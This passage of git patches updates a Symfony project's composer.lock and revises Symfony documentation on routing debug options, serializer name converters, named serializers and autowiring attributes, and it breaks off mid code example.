                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "a8c9cedf55f314f3a186041d19537303766df09a"
+                "reference": "e53260aabf78fb3d63f8d79d69ece59f80d5eda0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a8c9cedf55f314f3a186041d19537303766df09a",
-                "reference": "a8c9cedf55f314f3a186041d19537303766df09a",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/e53260aabf78fb3d63f8d79d69ece59f80d5eda0",
+                "reference": "e53260aabf78fb3d63f8d79d69ece59f80d5eda0",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1",
-                "psr/container": "^2.0"
+                "psr/container": "^1.1|^2.0",
+                "symfony/deprecation-contracts": "^2.5|^3"
             },
             "conflict": {
                 "ext-psr": "<1.1|>=2"
             },
-            "suggest": {
-                "symfony/service-implementation": ""
-            },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "3.3-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
@@ -1570,7 +1510,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v3.2.1"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1586,20 +1526,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-01T10:32:47+00:00"
+            "time": "2024-09-25T14:20:29+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v6.2.8",
+            "version": "v6.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef"
+                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/193e83bbd6617d6b2151c37fff10fa7168ebddef",
-                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef",
+                "url": "https://api.github.com/repos/symfony/string/zipball/73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
+                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
                 "shasum": ""
             },
             "require": {
@@ -1610,14 +1550,14 @@
                 "symfony/polyfill-mbstring": "~1.0"
             },
             "conflict": {
-                "symfony/translation-contracts": "<2.0"
+                "symfony/translation-contracts": "<2.5"
             },
             "require-dev": {
-                "symfony/error-handler": "^5.4|^6.0",
-                "symfony/http-client": "^5.4|^6.0",
-                "symfony/intl": "^6.2",
-                "symfony/translation-contracts": "^2.0|^3.0",
-                "symfony/var-exporter": "^5.4|^6.0"
+                "symfony/error-handler": "^5.4|^6.0|^7.0",
+                "symfony/http-client": "^5.4|^6.0|^7.0",
+                "symfony/intl": "^6.2|^7.0",
+                "symfony/translation-contracts": "^2.5|^3.0",
+                "symfony/var-exporter": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -1656,7 +1596,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.2.8"
+                "source": "https://github.com/symfony/string/tree/v6.4.15"
             },
             "funding": [
                 {
@@ -1672,42 +1612,42 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-20T16:06:02+00:00"
+            "time": "2024-11-13T13:31:12+00:00"
         },
         {
             "name": "symfony/translation-contracts",
-            "version": "v2.5.2",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/translation-contracts.git",
-                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe"
+                "reference": "4667ff3bd513750603a09c8dedbea942487fb07c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
-                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/4667ff3bd513750603a09c8dedbea942487fb07c",
+                "reference": "4667ff3bd513750603a09c8dedbea942487fb07c",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
-            },
-            "suggest": {
-                "symfony/translation-implementation": ""
+                "php": ">=8.1"
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "2.5-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Contracts\\Translation\\": ""
-                }
+                },
+                "exclude-from-classmap": [
+                    "/Test/"
+                ]
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1734,7 +1674,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.2"
+                "source": "https://github.com/symfony/translation-contracts/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1750,38 +1690,41 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-06-27T16:58:25+00:00"
+            "time": "2024-09-25T14:20:29+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.5.1",
+            "version": "v3.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15"
+                "reference": "3468920399451a384bef53cf7996965f7cd40183"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a6e0510cc793912b451fd40ab983a1d28f611c15",
-                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3468920399451a384bef53cf7996965f7cd40183",
+                "reference": "3468920399451a384bef53cf7996965f7cd40183",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1.0",
+                "symfony/deprecation-contracts": "^2.5|^3",
                 "symfony/polyfill-ctype": "^1.8",
                 "symfony/polyfill-mbstring": "^1.3"
             },
             "require-dev": {
-                "psr/container": "^1.0",
-                "symfony/phpunit-bridge": "^4.4.9|^5.0.9|^6.0"
+                "phpstan/phpstan": "^2.0",
+                "psr/container": "^1.0|^2.0",
+                "symfony/phpunit-bridge": "^5.4.9|^6.4|^7.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "3.5-dev"
-                }
-            },
             "autoload": {
+                "files": [
+                    "src/Resources/core.php",
+                    "src/Resources/debug.php",
+                    "src/Resources/escaper.php",
+                    "src/Resources/string_loader.php"
+                ],
                 "psr-4": {
                     "Twig\\": "src/"
                 }
@@ -1814,7 +1757,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.5.1"
+                "source": "https://github.com/twigphp/Twig/tree/v3.20.0"
             },
             "funding": [
                 {
@@ -1826,21 +1769,21 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-08T07:49:20+00:00"
+            "time": "2025-02-13T08:34:43+00:00"
         }
     ],
     "packages-dev": [],
     "aliases": [],
     "minimum-stability": "dev",
-    "stability-flags": [],
+    "stability-flags": {},
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
         "php": ">=8.1"
     },
-    "platform-dev": [],
+    "platform-dev": {},
     "platform-overrides": {
         "php": "8.1.0"
     },
-    "plugin-api-version": "2.3.0"
+    "plugin-api-version": "2.6.0"
 }

From c679fe5d157635c1f02bedcfc2353199d1f12977 Mon Sep 17 00:00:00 2001
From: EtienneHosman <43244960+EtienneHosman@users.noreply.github.com>
Date: Tue, 18 Mar 2025 13:51:03 +0100
Subject: [PATCH 5447/5766] Update virtual-machine.rst

Syntax error: made 'all' a string
---
 frontend/encore/virtual-machine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index d18026d3633..34587173b93 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -107,7 +107,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
         // ...
 
         .configureDevServerOptions(options => {
-            options.allowedHosts = all;
+            options.allowedHosts = 'all';
         })
 
 .. warning::

From b8af29ce4c629060b2f167a45afe77acac4bdf32 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 16:04:59 +0100
Subject: [PATCH 5448/5766] Reword

---
 routing.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/routing.rst b/routing.rst
index c5cf5cd7f33..68d6a30fc41 100644
--- a/routing.rst
+++ b/routing.rst
@@ -434,6 +434,21 @@ evaluates them:
     blog_show         ANY      ANY      ANY    /blog/{slug}
     ----------------  -------  -------  -----  --------------------------------------------
 
+    # pass this option to also display all the defined route aliases
+    $ php bin/console debug:router --show-aliases
+
+    # pass this option to only display routes that match the given HTTP method
+    # (you can use the special value ANY to see routes that match any method)
+    $ php bin/console debug:router --method=GET
+    $ php bin/console debug:router --method=ANY
+
+    # pass the option more than once to display the routes that match all the given methods
+    $ php bin/console debug:router --method=GET --method=PATCH
+
+.. versionadded:: 7.3
+
+    The ``--method`` option was introduced in Symfony 7.3.
+
 Pass the name (or part of the name) of some route to this argument to print the
 route details:
 
@@ -451,15 +466,6 @@ route details:
     |             | utf8: true                                              |
     +-------------+---------------------------------------------------------+
 
-.. tip::
-
-    Use the ``--show-aliases`` option to show all available aliases for a given
-    route.
-
-.. tip::
-
-    Use the ``--method`` option to filter routes by HTTP method. For example, to only show routes that use the ``GET`` method, add ``--method=GET``
-
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:

From 387943cee13b5c0dc01b7b85289cd46a12f2940b Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 23 Feb 2025 18:45:08 +0100
Subject: [PATCH 5449/5766] [Validator] Allow Unique constraint validation on
 all elements

---
 reference/constraints/Unique.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index a1be67d6f2f..a37eba30c61 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -216,4 +216,17 @@ trailing whitespace during validation.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+``stopOnFirstError``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+By default, this constraint stops at the first violation. If the option is set to ``false``,
+validation will continue on all elements and return all detected
+:class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
+
+.. versionadded:: 7.3
+
+    The ``stopOnFirstError`` option was introduced in Symfony 7.3.
+
 .. _`PHP callable`: https://www.php.net/callable

From 8801059a62bcc91918964f46c28142c947a40d62 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 16:17:32 +0100
Subject: [PATCH 5450/5766] Minor tweak

---
 reference/constraints/Unique.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index a37eba30c61..9ce84139cd5 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -221,9 +221,9 @@ trailing whitespace during validation.
 
 **type**: ``boolean`` **default**: ``true``
 
-By default, this constraint stops at the first violation. If the option is set to ``false``,
-validation will continue on all elements and return all detected
-:class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
+By default, this constraint stops at the first violation. If this option is set
+to ``false``, validation continues on all elements and returns all detected
+:class:`Symfony\\Component\\Validator\\ConstraintViolation` objects.
 
 .. versionadded:: 7.3
 

From 4213bb57c7f139451d8df44c1f6a91d07559ec5f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 18 Mar 2025 22:26:31 +0100
Subject: [PATCH 5451/5766] [Serializer] Add SnakeCaseToCamelCaseNameConverter

---
 serializer.rst | 61 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index cd181787763..bd8506cbbe3 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1239,6 +1239,67 @@ setting the ``name_converter`` setting to
         ];
         $serializer = new Serializer($normalizers, $encoders);
 
+snake_case to CamelCase
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In Symfony applications is common to use camelCase to name properties. However
+some packages can use snake_case as convention.
+
+Symfony provides a built-in name converter designed to transform between
+CamelCase and snake_cased styles during serialization and deserialization
+processes. You can use it instead of the metadata aware name converter by
+setting the ``name_converter`` setting to
+``serializer.name_converter.snake_case_to_camel_case``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                name_converter: 'serializer.name_converter.snake_case_to_camel_case'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer
+                    name-converter="serializer.name_converter.snake_case_to_camel_case"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->nameConverter('serializer.name_converter.snake_case_to_camel_case')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\SnakeCaseToCamelCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, new SnakeCaseToCamelCaseNameConverter()),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
 .. _serializer-built-in-normalizers:
 
 Serializer Normalizers

From a1647c609f11b860abf7de38aadb261fbbf9122a Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Tue, 18 Mar 2025 23:37:06 +0100
Subject: [PATCH 5452/5766] [Serializer] Add missing space + fix import

---
 serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 5c82e6e566a..1c30ad89c6c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1377,7 +1377,7 @@ Built-in Normalizers
 ~~~~~~~~~~~~~~~~~~~~
 
 Besides the normalizers registered by default (see previous section), the
-serializer component also provides some extra normalizers.You can register
+serializer component also provides some extra normalizers. You can register
 these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
 For instance, to use the ``CustomNormalizer`` you have to define a service
 like:
@@ -1421,7 +1421,7 @@ like:
     .. code-block:: php
 
         // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
         use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
 

From 020ef3a702bb8b173d164d40d73626dc449d559a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 18 Mar 2025 22:56:19 +0100
Subject: [PATCH 5453/5766] Replace TaggedIterator and TaggedLocator by
 Au*towireIterator and AutowireLocator

---
 .../service_subscribers_locators.rst          | 20 +++++++++----------
 service_container/tags.rst                    |  2 +-
 2 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 9c6451931d1..a2aabb48901 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -270,8 +270,8 @@ the following dependency injection attributes in the ``getSubscribedServices()``
 method directly:
 
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
@@ -282,8 +282,8 @@ This is done by having ``getSubscribedServices()`` return an array of
     use Psr\Container\ContainerInterface;
     use Psr\Log\LoggerInterface;
     use Symfony\Component\DependencyInjection\Attribute\Autowire;
-    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
-    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
     use Symfony\Component\DependencyInjection\Attribute\Target;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
 
@@ -299,11 +299,11 @@ This is done by having ``getSubscribedServices()`` return an array of
             // Target
             new SubscribedService('event.logger', LoggerInterface::class, attributes: new Target('eventLogger')),
 
-            // TaggedIterator
-            new SubscribedService('loggers', 'iterable', attributes: new TaggedIterator('logger.tag')),
+            // AutowireIterator
+            new SubscribedService('loggers', 'iterable', attributes: new AutowireIterator('logger.tag')),
 
-            // TaggedLocator
-            new SubscribedService('handlers', ContainerInterface::class, attributes: new TaggedLocator('handler.tag')),
+            // AutowireLocator
+            new SubscribedService('handlers', ContainerInterface::class, attributes: new AutowireLocator('handler.tag')),
         ];
     }
 
@@ -975,8 +975,8 @@ You can use the ``attributes`` argument of ``SubscribedService`` to add any
 of the following dependency injection attributes:
 
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 270d6702f5a..39262fa51be 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -750,7 +750,7 @@ directly via PHP attributes:
 
 .. note::
 
-    Some IDEs will show an error when using ``#[TaggedIterator]`` together
+    Some IDEs will show an error when using ``#[AutowireIterator]`` together
     with the `PHP constructor promotion`_:
     *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
     The reason is that those constructor arguments are both parameters and class

From 10565283d5234c46b8ed4510d79d2d75310b2f9c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Mar 2025 08:35:26 +0100
Subject: [PATCH 5454/5766] Tweaks

---
 serializer.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index bd8506cbbe3..54555d7b340 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1242,12 +1242,12 @@ setting the ``name_converter`` setting to
 snake_case to CamelCase
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-In Symfony applications is common to use camelCase to name properties. However
-some packages can use snake_case as convention.
+In Symfony applications, it is common to use camelCase for naming properties.
+However some packages may follow a snake_case convention.
 
 Symfony provides a built-in name converter designed to transform between
-CamelCase and snake_cased styles during serialization and deserialization
-processes. You can use it instead of the metadata aware name converter by
+CamelCase and snake_case styles during serialization and deserialization
+processes. You can use it instead of the metadata-aware name converter by
 setting the ``name_converter`` setting to
 ``serializer.name_converter.snake_case_to_camel_case``:
 
@@ -1300,6 +1300,10 @@ setting the ``name_converter`` setting to
         ];
         $serializer = new Serializer($normalizers, $encoders);
 
+.. versionadded:: 7.2
+
+    The snake_case to CamelCase converter was introduced in Symfony 7.2.
+
 .. _serializer-built-in-normalizers:
 
 Serializer Normalizers

From d0a17c54a538f747bf30968ac246d3adb6405b36 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 19 Mar 2025 09:34:50 +0100
Subject: [PATCH 5455/5766] [Serializer] Fix namespace

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 1c30ad89c6c..7f2569eb104 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1421,7 +1421,7 @@ like:
     .. code-block:: php
 
         // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
 

From d009744f9140c536a5ae3b4a578f7780fb53771a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Mar 2025 09:58:18 +0100
Subject: [PATCH 5456/5766] Tweaks

---
 components/options_resolver.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5063f5b11d9..6f3a6751f28 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -688,13 +688,13 @@ default value::
 
 .. deprecated:: 7.3
 
-    Defining nested option via :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDefault`
-    was deprecated since Symfony 7.3, use the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions`
-    instead. Allowing to define default values for prototyped options.
+    Defining nested options via :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDefault`
+    is deprecated since Symfony 7.3. Use the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions`
+    method instead, which also allows defining default values for prototyped options.
 
 .. versionadded:: 7.3
 
-    The :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions` was introduced in Symfony 7.3.
+    The ``setOptions()`` method was introduced in Symfony 7.3.
 
 Nested options also support required options, validation (type, value) and
 normalization of their values. If the default value of a nested option depends

From c2b17b0f1bbaa0be008cd400757863862c186ae6 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 19 Mar 2025 16:34:54 +0100
Subject: [PATCH 5457/5766] alias ref in autowiring doc

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index c711f86ecf1..ec25f2d7dae 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -408,8 +408,8 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements
 If you register this as a service, you now have *two* services that implement the
 ``App\Util\TransformerInterface`` type. Autowiring subsystem can not decide
 which one to use. Remember, autowiring isn't magic; it looks for a service
-whose id matches the type-hint. So you need to choose one by creating an alias
-from the type to the correct service id (see :ref:`autowiring-interface-alias`).
+whose id matches the type-hint. So you need to choose one by :ref:`creating an alias
+<autowiring-interface-alias>` from the type to the correct service id.
 Additionally, you can define several named autowiring aliases if you want to use
 one implementation in some cases, and another implementation in some
 other cases.

From 1b09d4c56c5d47cc928a49c249c5abc97457b282 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 19 Mar 2025 01:49:32 +0100
Subject: [PATCH 5458/5766] [Serializer] Document named serializers

---
 serializer.rst | 249 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 249 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 605946956ac..5f9144abae0 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1537,6 +1537,255 @@ like:
             PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED,
         ]);
 
+Named Serializers
+-----------------
+
+.. versionadded:: 7.2
+
+    Named serializers were introduced in Symfony 7.2.
+
+Sometimes, you may need multiple configurations for the serializer, such
+as different default contexts, name converters, or sets of normalizers and
+encoders, depending on the use case. For example, when your application
+communicates with multiple APIs, each with its own set of rules.
+
+This can be achieved by configuring multiple instances of the serializer
+using the ``named_serializers`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                named_serializers:
+                    api_client1:
+                        name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+                        default_context:
+                            enable_max_depth: true
+                    api_client2:
+                        default_context:
+                            enable_max_depth: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+
+                    <framework:named-serializer
+                        name="api_client1"
+                        name-converter="serializer.name_converter.camel_case_to_snake_case"
+                    >
+                        <framework:default-context>
+                            <framework:enable_max_depth>true</framework:enable_max_depth>
+                        </framework:default-context>
+                    </framework:named-serializer>
+
+                    <framework:named-serializer name="api_client2">
+                        <framework:default-context>
+                            <framework:enable_max_depth>false</framework:enable_max_depth>
+                        </framework:default-context>
+                    </framework:named-serializer>
+
+                </framework:serializer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->namedSerializer('api_client1')
+                    ->nameConverter('serializer.name_converter.camel_case_to_snake_case')
+                    ->defaultContext([
+                        'enable_max_depth' => true,
+                    ])
+            ;
+            $framework->serializer()
+                ->namedSerializer('api_client2')
+                    ->defaultContext([
+                        'enable_max_depth' => false,
+                    ])
+            ;
+        };
+
+You can inject these different serializer instances
+using :ref:`named aliases <autowiring-multiple-implementations-same-type>`::
+
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+
+    class PersonController extends AbstractController
+    {
+        public function index(
+            SerializerInterface $serializer,           // Default serializer
+            SerializerInterface $apiClient1Serializer, // api_client1 serializer
+            #[Target('apiClient2.serializer')]         // api_client2 serializer
+            SerializerInterface $customName,
+        ) {
+            // ...
+        }
+    }
+
+Named serializers are configured with the default set of normalizers and encoders.
+
+You can register additional normalizers and encoders with a specific named
+serializer by adding a ``serializer`` attribute to
+the :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`
+or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\Serializer\Normalizer\CustomNormalizer:
+                # Prevent this normalizer from automatically being included in the default serializer
+                autoconfigure: false
+                tags:
+                    # Include this normalizer in a single serializer
+                    - serializer.normalizer: { serializer: 'api_client1' }
+                    # Include this normalizer in multiple serializers
+                    - serializer.normalizer: { serializer: [ 'api_client1', 'api_client2' ] }
+                    # Include this normalizer in all serializers (including the default one)
+                    - serializer.normalizer: { serializer: '*' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- Disable autoconfigure to prevent this normalizer from automatically -->
+                <!-- being included in the default serializer -->
+                <service
+                    id="Symfony\Component\Serializer\Normalizer\CustomNormalizer"
+                    autoconfigure="false"
+                >
+                    <!-- Include this normalizer in a single serializer -->
+                    <tag name="serializer.normalizer" serializer="api_client1"/>
+
+                    <!-- Include this normalizer in multiple serializers -->
+                    <tag name="serializer.normalizer" serializer="api_client1"/>
+                    <tag name="serializer.normalizer" serializer="api_client2"/>
+
+                    <!-- Include this normalizer in all serializers (including the default one) -->
+                    <tag name="serializer.normalizer" serializer="*"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $services->set(CustomNormalizer::class)
+                // Prevent this normalizer from automatically being included in the default serializer
+                ->autoconfigure(false)
+
+                // Include this normalizer in a single serializer
+                ->tag('serializer.normalizer', ['serializer' => 'api_client1'])
